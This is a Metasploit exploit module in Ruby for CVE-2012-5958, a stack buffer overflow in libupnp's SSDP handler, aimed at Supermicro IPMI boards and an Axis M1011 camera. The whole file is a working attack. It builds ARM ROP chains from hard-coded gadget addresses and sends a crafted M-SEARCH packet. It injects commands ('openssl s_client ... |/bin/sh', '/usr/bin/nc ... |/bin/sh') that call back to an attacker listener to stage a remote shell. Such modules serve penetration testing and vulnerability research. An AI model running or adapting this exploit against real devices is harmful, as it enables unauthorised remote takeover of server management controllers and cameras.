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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
'Description' => %q{
This module exploits a buffer overflow in the unique_service_name()
function of libupnp's SSDP processor. The libupnp library is used across
thousands of devices and is referred to as the Intel SDK for UPnP
Devices or the Portable SDK for UPnP Devices.
Due to size limitations on many devices, this exploit uses a separate TCP
listener to stage the real payload.
},
'Author' => [
'hdm', # Exploit dev for Supermicro IPMI
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI
'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M1011
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5958' ],
[ 'OSVDB', '89611' ],
[ 'US-CERT-VU', '922681' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'Payload' =>
{
#
# # The following BadChars do not apply since we stage the payload
# # through a secondary connection. This is just for reference.
#
# 'BadChars' =>
# # Bytes 0-8 are not allowed
# [*(0..8)].pack("C*") +
# # 0x09, 0x0a, 0x0d are allowed
# "\x0b\x0c\x0e\x0f" +
# # All remaining bytes up to space are restricted
# [*(0x10..0x1f)].pack("C*") +
# # Also not allowed
# "\x7f\x3a" +
# # Breaks our string quoting
# "\x22",
# Unlimited since we stage this over a secondary connection
'Space' => 8000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
# specific payloads vary widely by device (openssl for IPMI, etc)
}
},
'Targets' =>
[
[ "Automatic", { } ],
#
# ROP targets are difficult to represent in the hash, use callbacks instead
#
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
# The callback handles all target-specific settings
:callback => :target_supermicro_ipmi_131,
# This matches any line of the SSDP M-SEARCH response
:fingerprint =>
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
#
# SSDP response:
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
} ],
[ "Axis Camera M1011 5.20.1 UPnP/1.4.1", {
# The callback handles all target-specific settings
:callback => :target_axis_m1011_141,
# This fingerprint may not be specific enough to be used automatically.
#:fingerprint =>
# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi
#
# SSDP response:
# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
# http://192.168.xx.xx:49152/rootdesc1.xml
# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice
} ],
[ "Debug Target", {
# The callback handles all target-specific settings
:callback => :target_debug
} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 29 2013'))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
])
end
def exploit
configure_socket
target_info = choose_target
unless self.respond_to?(target_info[:callback])
print_error("Invalid target specified: no callback function defined")
return
end
buffer = self.send(target_info[:callback])
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do
::IO.select(nil, nil, nil, 1)
break if session_created?
end
# No handler() support right now
end
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
def target_supermicro_ipmi_131
# Create a fixed-size buffer for the payload
buffer = Rex::Text.rand_text_alpha(2000)
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
buffer[0,1] = '"'
buffer[1999,1] = '"'
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener(true)
# Figure out the port we picked
cbport = self.service.getsockname[2]
# Restart the service and use openssl to stage the real payload
# Staged because only ~150 bytes of contiguous data are available before mangling
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
buffer[432, cmd.length] = cmd
# Adjust $r3 to point from the bottom of the stack back into our buffer
buffer[304,4] = [0x4009daf8].pack("V") #
# 0x4009daf8: add r3, r3, r4, lsl #2
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
# 0x4009db00: pop {r4, r10, pc}
# The offset (right-shifted by 2 ) to our command string above
buffer[284,4] = [0xfffffe78].pack("V") #
# Copy $r3 into $r0
buffer[316,4] = [0x400db0ac].pack("V")
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
# Move our stack pointer down so as not to corrupt our payload
buffer[320,4] = [0x400a5568].pack("V")
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
# Finally return to system() with $r0 pointing to our string
buffer[141,4] = [0x400add8c].pack("V")
return buffer
=begin
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
00032000-00055000 rwxp 00000000 00:00 0 [heap]
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
40015000-40017000 rwxp 00000000 00:00 0
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
40036000-40078000 rwxp 00000000 00:00 0
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
40185000-40187000 rwxp 00000000 00:00 0
bd600000-bd601000 ---p 00000000 00:00 0
bd601000-bd800000 rwxp 00000000 00:00 0
bd800000-bd801000 ---p 00000000 00:00 0
bd801000-bda00000 rwxp 00000000 00:00 0
bdc00000-bdc01000 ---p 00000000 00:00 0
bdc01000-bde00000 rwxp 00000000 00:00 0
be000000-be001000 ---p 00000000 00:00 0
be001000-be200000 rwxp 00000000 00:00 0
be941000-be956000 rwxp 00000000 00:00 0 [stack]
=end
end
# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc
def target_axis_m1011_141
# Create a fixed-size buffer for the payload
buffer = Rex::Text.rand_text_alpha(2000)
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
buffer[0,1] = '"'
buffer[1999,1] = '"'
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener()
# Figure out the port we picked
cbport = self.service.getsockname[2]
# Initiate a callback connection
cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"
buffer[1, cmd.length] = cmd
# Mask to avoid forbidden bytes, popped into $r4
buffer[284,4] = [0x0D0D0D0D].pack("V")
# Move $r4 to $r0
buffer[304,4] = [0x40093848].pack("V")
#MEMORY:40093848 MOV R0, R4
#MEMORY:4009384C LDMFD SP!, {R4,PC}
# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4
buffer[308,4] = [0x32FB9D83].pack("V")
# Set $r0 to system() address : $r0 = $r4 + $r0
buffer[312,4] = [0x40093844].pack("V")
#MEMORY:40093844 ADD R4, R4, R0
#MEMORY:40093848 MOV R0, R4
#MEMORY:4009384C LDMFD SP!, {R4,PC}
# Move $r0 to $r3 : system() address
buffer[320,4] = [0x400D65BC].pack("V")
#MEMORY:400D65BC MOV R3, R0
#MEMORY:400D65C0 MOV R0, R3
#MEMORY:400D65C4 ADD SP, SP, #0x10
#MEMORY:400D65C8 LDMFD SP!, {R4,PC}
# Move $r2 to $r0 : offset to buffer[-1]
buffer[344,4] = [0x400ADCDC].pack("V")
#MEMORY:400ADCDC MOV R0, R2
#MEMORY:400ADCE0 ADD SP, SP, #8
#MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}
# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4
buffer[356,4] = [0xFFFFFEB2].pack("V")
# Set $r0 to command str offset : $r0 = $r4 + $r0
buffer[376,4] = [0x40093844].pack("V")
#MEMORY:40093844 ADD R4, R4, R0
#MEMORY:40093848 MOV R0, R4
#MEMORY:4009384C LDMFD SP!, {R4,PC}
# Jump to system() function
buffer[384,4] = [0x4009FEA4].pack("V")
#MEMORY:4009FEA4 MOV PC, R3
return buffer
=begin
00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp
00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
00033000-00055000 rwxp 00000000 00:00 0 [heap]
40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
4001d000-4001f000 rwxp 00000000 00:00 0
40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so
40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so
40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so
4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
40053000-40055000 rwxp 00000000 00:00 0
40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
40176000-40179000 rwxp 00000000 00:00 0
40179000-4017a000 ---p 00000000 00:00 0
4017a000-40979000 rwxp 00000000 00:00 0
40979000-4097a000 ---p 00000000 00:00 0
4097a000-41179000 rwxp 00000000 00:00 0
41179000-4117a000 ---p 00000000 00:00 0
4117a000-41979000 rwxp 00000000 00:00 0
41979000-4197a000 ---p 00000000 00:00 0
4197a000-42179000 rwxp 00000000 00:00 0
42179000-4217a000 ---p 00000000 00:00 0
4217a000-42979000 rwxp 00000000 00:00 0
42979000-4297a000 ---p 00000000 00:00 0
4297a000-43179000 rwxp 00000000 00:00 0
bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
=end
end
# Generate a buffer that provides a starting point for exploit development
def target_debug
Rex::Text.pattern_create(2000)
end
def stage_real_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
self.service.on_client_connect_proc = Proc.new { |client|
stage_real_payload(client)
}
# Start the listening service
self.service.start
end
#
# Shut down any running services
#
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
def choose_target
# If the user specified a target, use that one
return self.target unless self.target.name =~ /Automatic/
msearch =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
# Fingerprint the service through SSDP
udp_sock.sendto(msearch, rhost, rport, 0)
res = nil
1.upto(5) do
res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0)
end
self.targets.each do |t|
return t if t[:fingerprint] and res =~ t[:fingerprint]
end
if res and res.to_s.length > 0
print_status("No target matches this fingerprint")
print_status("")
res.to_s.split("\n").each do |line|
print_status(" #{line.strip}")
end
print_status("")
else
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
end
fail_with(Failure::NoTarget, "No compatible target detected")
end
# Accessor for our TCP payload stager
attr_accessor :service
# We need an unconnected socket because SSDP replies often come
# from a different sent port than the one we sent to. This also
# breaks the standard UDP mixin.
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
#
# Required since we aren't using the normal mixins
#
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
# Accessor for our UDP socket
attr_accessor :udp_sock
end